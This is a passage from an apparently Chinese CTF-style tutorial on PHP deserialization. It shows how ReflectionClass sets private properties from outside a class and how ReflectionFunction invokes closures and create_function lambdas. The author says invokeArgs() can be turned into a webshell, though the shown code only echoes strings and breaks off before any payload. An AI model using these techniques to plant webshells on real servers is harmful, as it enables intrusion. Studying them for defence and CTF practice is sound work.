style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>就比如上述代码中如果我想要给Arach属性赋值true，我可以利用ReflectionClass：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ref</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ReflectionClass</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ref</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">getProperty</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Arach</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">  //获取名为'Arach'的属性（即使它是私有的）</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setAccessible</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">true</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">   //将私有属性设置为可访问</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setvalue</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">true</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">  //将$a对象的Arach属性值设置为true</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/reflectionclass2.png\" class=\"\" title=\"reflectionclass2\"></p>\n<p>通过序列化字符串结果b:1可见Arach成功在类外被赋值为true</p>\n<h4 id=\"reflectionfunction\"><a class=\"anchor\" href=\"#reflectionfunction\">#</a> ReflectionFunction</h4>\n<p>这个内置类可以用来辅助调用匿名函数，其中的invokeArgs()方法也可以用来写webshell</p>\n<p>先说调用匿名函数的事吧，如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __wakeup</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">You absolutely execute it!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ReflectionFunction</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">invoke</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/reflectionfunction.png\" class=\"\" title=\"reflectionfunction\"></p>\n<p>可以看到如果我们新创建了一个ReflectionFunction实例 ，并将函数名放在里面作为参数调用invoke()方法就能实现调用函数，那如果没有$func呢？如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">create_function</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">echo \"You absolutely execute it!\";</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>如果我想调用这个create_function该怎么办？</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ReflectionFunction</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\0</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">lambda_1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">invoke</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>这里用\\0lambda_1是由于默认情况下create_function返回的字符串为\\0lambda_1</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/reflectionfunction2.png\" class=\"\" title=\"reflectionfunction2\"></p>\n<p>由于多次试验会造成\\0lambda_后跟的数字增加，所以这里用的\\0lambda_3来演试，在做题中一般都是\\0lambda_1</p>\n<p>接下来说说用invokeArgs()来写webshell：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>public ReflectionFunction::invokeArgs(array $args): mixed</span></span></code></pre>\n<ul>\n<li><code>$args</code>：传递给函数的参数是一个数组，像 <code>call_user_func_array()</code> 的工作方式。</li>\n</ul>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">what did you see?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">function</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ReflectionFunction</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZL47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">function</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">invokeArgs</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> illy4</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str1</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str2</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> sprintf</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">%s and %s</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str2</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">function2</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ReflectionFunction</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">illy4</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">function2</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">invokeargs</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">yes</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">no</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/reflectionfunction3.png\" class=\"\" title=\"reflectionfunction3\"></p>\n<p>其实相当于是执行了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> illy4</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">yes</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">no</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>那么如果yes和no部分我们可控会造成什么？</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span 